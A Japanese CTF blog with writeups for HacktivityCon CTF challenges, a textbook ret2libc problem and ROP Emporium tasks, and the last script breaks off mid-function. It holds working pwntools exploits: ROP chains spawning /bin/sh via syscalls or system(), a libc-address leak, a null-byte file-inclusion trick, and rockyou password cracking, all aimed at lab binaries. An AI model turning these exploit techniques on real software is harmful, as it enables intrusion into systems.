ACCE55_DE21ED

競プロとCTF

HacktivityCon CTF Statics and Dynamics 〜システムコールでシェルを起動する〜

本番は解けなかったんですが、writeup 読んで「すげぇ!」になったのでメモ。

本番中の考察

BOFを発見したので、ROPでシェルを開く事を目指しました。

しかし、IDAで関数とか眺めても、systemexecveが含まれている感じがなかったので、直接flag.txtを開くのかなーとか考えつつも、ファイルを開く方法が分からず苦戦。

結局解けず。

知見

アセンブリシステムコールを呼び出す事によって、readexecveを呼び出せます。

システムコールには命令ごとに番号がついていて、x86-64の場合例えばreadは0、execveは59です。

詳細は Syscall Number for x86-64 linux (A) を参照して下さい。

通常、関数の引数はrdi,rsi,rdx... の順に入れていくんですが、システムコールの際にはこれに加えてシステムコールの番号をraxに入れます。

解法

今回の場合、システムコールexecve("/bin/sh",NULL,NULL)を呼び出せば良い事になります。

ですが、肝心の"/bin/sh"は当然バイナリの中には含まれていないので、どこかにこれを書き込む必要があります。

そこで、readシステムコールで呼び出して、適当な場所に"/bin/sh"を書き込む事を考えます。

その適当な場所ですが、今回はbssセクションを使います。何かデータを書き込みたい時は、適当にbssを使えば何とかなるってマックで女子高校生が言ってました。

ということで、BOFからのROPでread(0,bssのアドレス,書き込む長さ)を呼び出してbss"/bin/sh"を書き込んだ後に execve(bssのアドレス,NULL,NULL)を呼び出します。

攻撃準備

攻撃コードを作成する前に、必要なgadgetを揃えましょう。

今回必要なのは、readで引数に値を入れるための pop rdi; ret;, pop rsi; ret;, pop rdx; ret;システムコールを呼び出すための pop rax; ret; , syscall; ret; です。

rp -f sad -r 1|grep "pop rdi;"

とか調べれば出てきます。

攻撃コード

準備ができた所で、後は攻撃コードを作成するのみです。

ほとんどCTFtimeのwriteup の写経です。

from pwn import *
elf=ELF("./sad")
#p=process("./sad")
p=remote("jh2i.com",50002)

POP_RDI=0x004816a2
POP_RSI=0x0047c198
POP_RDX=0x0040177f
POP_RAX=0x0043f8d7
SYSCALL=0x0040eda4
BSS=elf.bss()
WRITE=b"/bin/sh\x00"

payload=b"A"*264
# read(0,BSS,len(WRITE))
payload+=p64(POP_RDI)
payload+=p64(0)
payload+=p64(POP_RSI)
payload+=p64(BSS)
payload+=p64(POP_RDX)
payload+=p64(len(WRITE))
payload+=p64(POP_RAX)
payload+=p64(0)
payload+=p64(SYSCALL)
# execve(BSS,NULL,NULL)
payload+=p64(POP_RDI)
payload+=p64(BSS)
payload+=p64(POP_RSI)
payload+=p64(0)
payload+=p64(POP_RDX)
payload+=p64(0)
payload+=p64(POP_RAX)
payload+=p64(59)
payload+=p64(SYSCALL)

p.sendline(payload)
p.sendline(WRITE)
p.interactive()

実行すると、ちゃんとシェルが開きます。

ポエム

このバイナリ、SSP有効だったんですがなんでBOF Attackができたんでしょうか...不思議です。

システムコールって便利ですね。BOF Attackが効く問題って割とこれでできる気がしてきました(ホントか?)

でもPIEとかついてたら、結局アドレスリークしないといけませんね。

HacktivityCon CTF 参加記 , Writeup

CTFの問題は割と解いた事があったのですが、CTFのコンテスト自体に参加するのは始めてでした。

全体として1310点、1974人中201位で割と良かったのかなと思います。

f:id:defineprogram:20200801101543p:plain

ですが、Web系の知識の欠如が深刻な事に気づきました。Web、範囲が広すぎてどこから手を出せばいいのか...

CTFやると競プロが手につかなくなり、競プロやるとCTFが手につかなくなる、これどうすりゃいいの!!

???「あれ、学業はどうしたんですか?」

Web

600人以上解いてるLadybugが解けませんでした。チクショー!

結局ACは1問だけです。

Bite

?page=hoge で読み込んでいるので、hogeの部分にflagを入れたら出てくるかなーと思ったらヒントが出てきました。

f:id:defineprogram:20200731203721p:plain

しかし、page=/flag.txt と入れると最後に.phpが付けられてしまいます。

f:id:defineprogram:20200731203834p:plain

そこで、null byteを表す %00 をURLの最後につけてやると、FLAGが表示されました。

かなり有名なテクニックですね。

Crypto

Pythonのいい勉強になりました。

Tyrannosaurus

配布されたファイルの中身

#!/usr/bin/env python

import base64
import binascii

h = binascii.hexlify
b = base64.b64encode

c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067'


def enc(f):
    e = b(f)
    z = []
    i = 0
    while i < len(e):
        z += [e[i] ^ e[((i + 1) % len(e))]]
        i = i + 1
    c = h(bytearray(z))
    return c

cというのは、enc(c)をした後の値でしょう。

XORがぐるぐる回っているので、1文字目を全部調べればどれかは正解です。

月刊競技プログラミングは役に立つ

そこで、以下のようなコードを書くとflagが出力されました。

#!/usr/bin/env python

import base64
import binascii

h = binascii.hexlify
b = base64.b64encode

c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067'

g = binascii.unhexlify
bb = base64.b64decode


def dec(f):
    f = g(f)
    print(f)
    for i in range(0x100):
        ans = ""
        ans += chr(i)
        now = i
        for j in range(len(f)-1):
            memo=int(f[j:j+1].hex(),16)
            ans+=chr(now^memo)
            now^=memo
        try:
            flag=bb(ans)
            if b"flag" in flag:
                print(flag)
        except:
            pass


dec(c)

Perfect XOR

配布されたファイル

import base64
n = 1
i = 0
cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy"

def a(n):
    b = 0
    for i in range(1, n):
        if(n % i == 0):
            b += i
    return b == n

print("flag{", end='', flush=True)
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(i < len(cipher)):
    if (a(n)):
        print(chr(int(cipher[i]) ^ n), end='', flush=True)
        i += 1
    n+=1

print("}")

コードを読むと、どうやら完全数の時だけ出力しているようですね。完全数は非常に大きいので、この調子ではいつまで経っても終わりません。

cipherの長さが14とかなので、完全数でググって出てきたのを貼るとFLAGが出力されました。

import base64
cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy"

    
perfect=[
6,
28,
496,
8128,
33550336,
8589869056,
137438691328,
2305843008139952128,
2658455991569831744654692615953842176,
191561942608236107294793378084303638130997321548169216,
13164036458569648337239753460458722910223472318386943117783728128,
14474011154664524427946373126085988481573677491474835889066354349131199152128,
23562723457267347065789548996709904988477547858392600710143027597506337283178622239730365539602600561360255566462503270175052892578043215543382498428777152427010394496918664028644534128033831439790236838624033171435922356643219703101720713163527487298747400647801939587165936401087419375649057918549492160555646976,
141053783706712069063207958086063189881486743514715667838838675999954867742652380114104193329037690251561950568709829327164087724366370087116731268159313652487450652439805877296207297446723295166658228846926807786652870188920867879451478364569313922060370695064736073572378695176473055266826253284886383715072974324463835300053138429460296575143368065570759537328128
]

print("flag{", end='', flush=True)
cipher = base64.b64decode(cipher_b64).decode().split(",")
for i in range(len(cipher)):
    if True:
        print(chr(int(cipher[i]) ^ perfect[i]), end='', flush=True)
        i += 1

print("}")

こっちの方が簡単な気がします。

Binary Exploitation

割と得意分野なのに、1問しか解けなくて悲しい...

Pancakes

BOFがありました。secret_recipeっていうFLAGを出力する関数があったので、これを呼びます。

やるだけ

from pwn import *
#p=process("./pancakes")
p=remote("jh2i.com",50021)
elf=ELF("./pancakes")
payload=b"A"*152
payload+=p64(elf.symbols['secret_recipe'])
p.sendline(payload)
print(p.recvall())

Steganography

色々ググりながらやっていく内に、解ける問題が増えました。

Spy vs. Spy

stegsolveをダウンロードして、ファイルを解析すると解けます。

stegsolveの存在を知らず、だいぶ悩んでいました。

Chess Cheater

自分の耳で解析するのは中々無理があるので、ツールに頼りましょう。

モールス信号を音からデコードしてくれるやつ に投げます。解けます。おしまい!

Busted

画像ファイルのExifを解析すると、ctrl+alt+e とコメントしてありました。そこで、steghideのextract時のパスフレーズctrl+alt+eを入れると、flag.txtが展開されました。個人的に好きな問題です。

Scripting

1問目のMisdirectionが解けなかったのがかなり悔しいですね...

やはりWeb系が壊滅的です。

Prophecy

接続すると、数を当てろと言われるので乱数かと思ったら固定値でした。

そのため、1つずつ数を確定していけばいいのですが、手作業だときつそうのでスクリプトを書きました。(Scriptingだしね!)

from pwn import *

lst=[]
while True:
    print(lst)
    p=remote("jh2i.com",50012)
    for i in range(len(lst)):
        p.sendlineafter(b"W H A T I S T H E N E X T N U M B E R T O C O M E F R O M T H E F U T U R E ?",str(lst[i]));
    p.sendline(b"1000000000000000000000000000")
    try:
        p.recvuntil(b"T H E C O R R E C T N U M B E R W A S ")
        lst.append(int(p.recvline().decode('utf-8')))
    except :
        print(p.recvall())
        break

答えの数列の長さは20でした。まぁ、手作業でもできないことはないか。

Tootsie Pop

Zipファイルが与えられるのですが、いくら展開してもファイルがあります。

gzip,xz,bunzip2,zipで適当な順番で途方もない回数で圧縮されているようでした。

しばらく手作業でやった後、ファイルのサイズが一向に減らない事に気づきスクリプトを書きましたが、時々止まるのでその度に手作業でちょっと直すというクソスクリプトなので載せるのはやめておきます。

Misc

Cat Cage

grepが出せないなーと思ったら、/bin/grep で行けました。

また、

/bin/grep -r flag ./*

だとダメだったのに

/bin/grep -r flag{ ./*

だとFLAGが出力されました。なんでだろ?

His Story

なんか解いてたんですが、解法が思い出せません...

/bin/cat flag.txt

で解けて驚いたとかの記憶があったようななかったような...

さっき見たらスラッシュが入れられなくなっていました。解いた時はそうじゃなかったような気が??

勘違いかもです。不正疑惑

Forensics

あんまりまともに解けませんでした。SteganoってForensicsに含まれないんですかね?

Opposable Thumbs

foremostにかけると、flagの表示された画像が中に入っていた事が分かります。終わり

Warmups

Read The Rules

ルールのHTMLの下の方に、flagがコメントされていました。

Caesar Mirror

シーザー暗号/ROT13です。有名ですね。

Common Place

"I found it"と言っていた rfc5785ググると、(hoge)/.well_known を調べるみたいな事が書かれてたので適当に入れたら本当にありました。

そこにディレクトリ一覧があり、flag.txtもそこにありました。

Internet Cattos

一見するとflagが見えませんが、

nc jh2i.com 50003 > nc.txt

とすると、中にflagが書かれていました。

多分バッファの位置を改行する度に上に持っていってるとかですよね。

Hexgedit

写真のHexの中に flag{が含まれているに違いないので、flag{を16進数に変換した

66 6c 61 67 7b

を探すと、ファイルの末尾にありました。

Private Investigator

RSA秘密鍵が渡されるので、それを使って問題文に書いてある通りに接続すれば良いです。

chmod 777 *

とかやると、権限不備で弾かれるので注意。

Vencryption

fileコマンドで調べると、Vim encrypted file data と書かれていたのでググると、

VimDecrypt というツールが見つかるのでダウンロードします。

rockyou.txt というパスワードの候補を使って総当りするとパスワードは computerである事が分かるので、上のツールでdecryptするとflagが表示されました。

作者さん、ありがとう!!!

コンテスト後に理解した問題集

Mobile one

これ、stringsだけで解けたっぽい。apkをdex2jarで解析してた時間を返してくれ...

基本を忘れた報いですね。

Ladybug

なんか存在しないページ出すとAssertion Errorが起きるのは分かっていたんですが、まさかそこからコマンドが開けるとは思いませんでした。

f=open("flag.txt")
print(f.read())

Pseudo

/etc/sudoers.d に機密情報が入ってるよーという話でした。

なるほどなぁ

Spaghetti

binwalkする所までは分かっていたんですが、zlib をどうするかが分かりませんでした。展開してもほぼ情報もないし...

Online File Viewer にかけると解けるっぽいです。よく分からないけど解けたからヨシ(??)

ポエム

コンテストの復習はして、後は再来週のAPIOに備えようと思います。

マジで最近競プロやらなさすぎなので。。。

では、Happy Hacking!

ハリネズミ本 pwn編 最終問題 Full RELROの場合の解法

0. 雑

CTFを学ぶ上で言わずと知れたハリネズミ本

pwn編は特に,最初は難しいと感じるものですが,問題演習をしていく内にだんだん理解できるようになってきました.

本編で扱っている問題ファイルの中から,今回は最終問題 (step5/aslr/bof4) の別解について紹介しようと思います.

1. 問題内容

$ file bof4
bof4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=00332e38ebe289735e8c18f44a7f7f2d3e4c45ea, not stripped
$ ldd bof4
    linux-gate.so.1 (0xf7f5d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d4c000)
    /lib/ld-linux.so.2 (0xf7f5e000)
$ checksec.sh --file bof4
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   bof4

※ただし,ASLRは有効

率直に言うと,バッファオーバーフローがあり,writeread関数がバイナリに含まれていてかつFULL RELROでないので,write__libc_start_mainのGOTアドレスリークからのlibc_baseリーク,readでGOT Overwrite+"/bin/sh"を入力でシェルを起動という感じです.正直ここは本質ではないので,詳しくは本を読んで下さい.

さて,今回はPartial RELROだったのでGOT Overwriteで解けましたがFULL RELROの場合はどうでしょう?GOTがREAD ONLYになっているので攻撃が失敗してしまいます.

2. 解法

本で紹介された解法では,main関数を1回だけ実行する形にしていましたが,write__libc_start_mainGOTをリークした後でmain関数に飛ばす事もできます.

そこで,libc_baseをリークした後mainに飛ばし,2回目のmain関数のリターン時にsystem("/bin/sh")を起動してシェルを奪う事を考えます.

3. エクスプロイト

3-1. libc base のリーク

動的リンクされているELFファイルにおいて,libc内にある関数のELF内のアドレスはlibc base + libc内のオフセット という計算式で求まります.つまり,libc baseのアドレスが分かるとELF内のsystemのアドレスや"/bin/sh"のアドレスが分かるので嬉しいです.

まずは,バッファからリターンアドレスまでのオフセットを調べます.

gdb-pedaは入れておきましょう.以下のように調べると,51文字である事が分かります.

f:id:defineprogram:20200727113637p:plain

というわけで,取り敢えずlibc baseをリークする所までやってみます.

以下では,__libc_start_mainGOTアドレスにある値をwriteでリークし,そこからlibc内の__libc_start_mainのオフセットを引く事でlibc baseを特定しています.

GOTには,実際の関数のアドレスがどこかという情報が入っているので,これとlibcのオフセットが分かっていればlibc baseの値が引き算で分かるという訳です.

エクスプロイトコードを書く時,pwntoolsは本当に便利なので,まだ入れてない場合は必ず入れておきましょう!!

from pwn import *
elf=ELF("./bof4")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
p=process("./bof4")

# 埋め草
payload=b"A"*51
# write(1,__libc_start_main's GOT address,4)
payload+=p32(elf.plt['write'])
payload+=p32(0x0804854d) #pop3 ret
payload+=p32(1)
payload+=p32(elf.got['__libc_start_main'])
payload+=p32(4)
# main関数に飛ばす
payload+=p32(elf.symbols['main'])

p.sendlineafter(b"Hello\n",payload)
libc_start_main=u32(p.recv(4))
print(hex(libc_start_main))
libc_base=libc_start_main-libc.symbols['__libc_start_main']
print(hex(libc_base))
$ python3 exploit.py 
[*] '/home/defineprogram/Documents/book4b_pwn/step5/aslr/bof4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './bof4': pid 444682
0xf7cf3df0
0xf7cd5000

libc_baseの下3桁が0なので,ちゃんと特定できている事が分かります.当たり前ですが,ASLRが有効なのでlibc_baseの値は毎回変わります.

3-2. シェルの起動

リークしたlibc_baseを使ってsystem("/bin/sh")を呼び出し,シェルを起動しましょう.

上のコードに以下のコードを追加します.

# 埋め草
payload=b"A"*51
# system("/bin/sh")
payload+=p32(libc_base+libc.symbols['system'])
payload+=p32(0x08048315) #pop ret
payload+=p32(libc_base+next(libc.search(b"/bin/sh")))
# exit(0)
payload+=p32(libc_base+libc.symbols['exit'])
payload+=b"AAAA"
payload+=p32(0)

p.sendlineafter(b"Hello\n",payload)
p.interactive()

実行してみると...

$ python3 exploit.py 
[*] '/home/defineprogram/Documents/book4b_pwn/step5/aslr/bof4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './bof4': pid 445018
0xf7ceadf0
0xf7ccc000
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ 
[*] Process './bof4' stopped with exit code -11 (SIGSEGV) (pid 445018)
[*] Got EOF while sending in interactive

あれぇ!?シェルが起動できていません(途中に $ と表示されているのは,pwn-toolsの)

なぜでしょう?pwn-toolsにはgdbでアタッチする機能がついているので調べてみます.

f:id:defineprogram:20200727115754p:plain

2回目の方は51個では多かったようです.そこで,さっきの追加した

payload=b"A"*51

の部分を

payload=b"AAA%AAsAABAA$AAnAACAA-AA(AADA..."

に差し替え,gdb.attachを追加してみます.( pattern_createのやつ )

f:id:defineprogram:20200727120102p:plain

43文字のようです.1回目の51文字とは8文字差が出ましたが,何か意味があるのでしょうか?

8って2冪だし,16の半分だし何か訳がありそうですよね.まぁそれはいいとしてオフセットが判明したので最終的な攻撃コードは以下のようになります.

from pwn import *
elf=ELF("./bof4")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
p=process("./bof4")

# 埋め草
payload=b"A"*51
# write(1,__libc_start_main's GOT address,4)
payload+=p32(elf.plt['write'])
payload+=p32(0x0804854d) #pop3 ret
payload+=p32(1)
payload+=p32(elf.got['__libc_start_main'])
payload+=p32(4)
# mainに飛ばす
payload+=p32(elf.symbols['main'])

p.sendlineafter(b"Hello\n",payload)
libc_start_main=u32(p.recv(4))
print(hex(libc_start_main))
libc_base=libc_start_main-libc.symbols['__libc_start_main']
print(hex(libc_base))

# 埋め草
payload=b"A"*43
# system("/bin/sh")
payload+=p32(libc_base+libc.symbols['system'])
payload+=p32(0x08048315) #pop ret
payload+=p32(libc_base+next(libc.search(b"/bin/sh")))
# exit(0)
payload+=p32(libc_base+libc.symbols['exit'])
payload+=b"AAAA"
payload+=p32(0)

p.sendlineafter(b"Hello\n",payload)
p.interactive()

実行してみると,ちゃんとシェルが起動できていることが分かります.

一応,最後にexit(0)したので正常終了していますね.

※セキュリティ機構の表示は配布ファイルをそのまま使っているのでPartial RELROのままになっていますがRELROに触れるような事はしていないので大丈夫なはず.

$ python3 exploit.py 
[*] '/home/defineprogram/Documents/book4b_pwn/step5/aslr/bof4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './bof4': pid 445735
0xf7cf1df0
0xf7cd3000
[*] Switching to interactive mode
$ ls
aslr.py  bof4.txt    exploit.py  peda-session-bof4.txt
bof4     bruteforce.py    flag.txt    peda-session-ls.txt
bof4.c     core        leak.py     socket
$ exit
[*] Got EOF while reading in interactive
$ 
[*] Process './bof4' stopped with exit code 0 (pid 445735)

ポエム

やっぱりシェルが起動すると爽快感ありますね.Happy Hacking!

ROP Emporium埋め 後半 その1

ROP Emporium埋め 前半の続きです。

後半、書くことが長くなるので更に2つに分けます。

環境 : Ubuntu 20.04 LTS

$ lsb_release -a
LSB Version:    core-11.1.0ubuntu2-noarch:printing-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch
Distributor ID: Ubuntu
Description:    Ubuntu 20.04 LTS
Release:    20.04
Codename:   focal

5. badchars

32bit

badcharsとして、b i c / <space> f n sを入力文字列に入れると変えられるという仕組みになっています。

明らかに/bin/sh意識してますよね。そこでusefulGadgetsを見てみると...

08048890 <usefulGadgets>:
 8048890:   30 0b                   xor    BYTE PTR [ebx],cl
 8048892:   c3                      ret    
 8048893:   89 37                   mov    DWORD PTR [edi],esi
 8048895:   c3                      ret    
 8048896:   5b                      pop    ebx
 8048897:   59                      pop    ecx
 8048898:   c3                      ret    
 8048899:   5e                      pop    esi
 804889a:   5f                      pop    edi
 804889b:   c3                      ret    
 804889c:   66 90                   xchg   ax,ax
 804889e:   66 90                   xchg   ax,ax

前回同様 mov [edi],esi がありますが、これに加えて xor [ebx],cl もあります。

clというのはecxの下位8bitです。ついでにpop ebx; pop ecx;もありますね。/bin/shをxorでエンコードしろって事なんでしょうか。

という訳で、ROPの流れとしては

  1. bss領域に/bin/shそれぞれの文字を0xffとのxorでエンコードしたものを書き込む。
  2. ecxに0xffを書き込み、clを0xffにする。
  3. ebxに文字を読み込み、1文字ずつxorでデコードする。
  4. system('/bin/sh')を呼び出す。

xorは2n回やれば元に戻ります。月刊競技プログラミングは役に立つ!

from pwn import *
def f(s):
    res=0
    s=s[::-1]
    for i in s:
        res+=ord(i)
        res*=0x100
    return res//0x100
    
elf=ELF("./badchars32")
p=process("./badchars32")

payload=b"A"*44
payload+=p32(0x8048899) # pop esi; pop edi; ret;
payload+=p32(f('/bin')^0xffffffff)
payload+=p32(elf.bss())
payload+=p32(0x8048893) # mov [edi],esi; ret;
payload+=p32(0x8048899) # pop esi; pop edi; ret;
payload+=p32(f('/sh\x00')^0xffffffff)
payload+=p32(elf.bss()+0x4)
payload+=p32(0x8048893) # mov [edi],esi; ret;
payload+=p32(0x8048897) # pop ecx; ret;
payload+=p32(0xff)

for i in range(8):
    payload+=p32(0x08048916) # pop ebx; ret;
    payload+=p32(elf.bss()+i)
    payload+=p32(0x8048890) # xor [ebx],cl; ret;

payload+=p32(elf.plt['system'])
payload+=b"AAAA"
payload+=p32(elf.bss())

p.sendlineafter(b"n s\n> ",payload)
p.interactive()

シェルが起動すると気持ちが良いですね。 あ^〜たまらねえぜ。

64bit

/bin/sh\x00の最後までデコードしようとすると何故か落ちるので、途中までにしました(なんで???)

理由が分かる方いたらコメントお願いします。

from pwn import *
elf=ELF("./badchars")
p=process("./badchars")

def f(s):
    res=0
    s=s[::-1]
    for i in s:
        res+=ord(i)
        res*=0x100
    return res//0x100

payload=b"A"*40
payload+=p64(0x400b33) # ret;
payload+=p64(0x400b3b) # pop r12; pop r13; ret;
payload += p64(f('/bin/sh\x00')^0x0000ffffffffffff)
payload+=p64(elf.bss())
payload+=p64(0x400b34) # mov[r13],r12; ret;

for i in range(6):
    payload+=p64(0x400b40) # pop r14; pop r15; ret;
    payload+=p64(0xff)
    payload+=p64(elf.bss()+i)
    payload+=p64(0x400b30) # xor [r15],r14; ret;

payload+=p64(0x00400b39) # pop rdi; ret;
payload+=p64(elf.bss())
payload+=p64(elf.plt['system'])

p.sendlineafter(b"f n s\n> ",payload)
p.interactive()

6. fluff

32bit

この問題好き過ぎる!パズルになっててマジで楽しい!!!競プロと似た感覚ですね。

questionableGadgets関数の中身はこうなっています。

08048670 <questionableGadgets>:
 8048670:   5f                      pop    edi
 8048671:   31 d2                   xor    edx,edx
 8048673:   5e                      pop    esi
 8048674:   bd be ba fe ca          mov    ebp,0xcafebabe
 8048679:   c3                      ret    
 804867a:   5e                      pop    esi
 804867b:   31 da                   xor    edx,ebx
 804867d:   5d                      pop    ebp
 804867e:   bf be ba ad de          mov    edi,0xdeadbabe
 8048683:   c3                      ret    
 8048684:   bf ef be ad de          mov    edi,0xdeadbeef
 8048689:   87 ca                   xchg   edx,ecx
 804868b:   5d                      pop    ebp
 804868c:   ba d0 ce fa de          mov    edx,0xdefaced0
 8048691:   c3                      ret    
 8048692:   5f                      pop    edi
 8048693:   89 11                   mov    DWORD PTR [ecx],edx
 8048695:   5d                      pop    ebp
 8048696:   5b                      pop    ebx
 8048697:   30 19                   xor    BYTE PTR [ecx],bl
 8048699:   c3                      ret    
 804869a:   66 90                   xchg   ax,ax
 804869c:   66 90                   xchg   ax,ax
 804869e:   66 90                   xchg   ax,ax

これを組み合わせてbss領域に/bin/sh\x00を書き込みましょう!

まず、書き込むのは0x8048693のmov [ecx],edxだろうと容易に予想がつきますね。

残念ながらpop ecxpop edxもないので、上手くecx,edxに値を代入する必要があります。

ここで、0x804867bのxor edx,ebxと0x804868cのmov edx,0xdefaced0に注目しましょう。 edxに0xdefaced0を代入してから、edxをebxでxorを取ることで任意値を代入できます(バイナリ内にpop ebxもあります)。

edxに任意値を代入する事ができたので、次はecxに注目してみます。0x8048689でxchg edx,ecxがありますね。つまり、edxに任意値を 代入した後でこの命令を走らせれば、ecxに任意値を書き込む事ができます。

これでedx,ecxに任意値を書き込む事ができる事が分かりました。最後のmov命令では、retまでの間にecxにblでxorを取っていますが、 blはebxの下位8bitなので、1つ前のpop ebxでebxに0を入れておけば何も起きません。

というわけで、エクスプロイトコードは以下のようになります。 一発でシェルが起動した時はかなりの快感でしたね。

from pwn import *
elf=ELF("./fluff32")
p=process("./fluff32")

def f(s):
    res=0
    s=s[::-1]
    for i in s:
        res+=ord(i)
        res*=0x100
    return res//0x100

payload=b"A"*44

def rewrite(ecx,edx):
    res=b""
    res+=p32(0x0804868c) # mov edx,0xdefaced0; ret;
    res+=p32(0x080483e1) # pop ebx; ret;
    res+=p32(ecx^0xdefaced0)
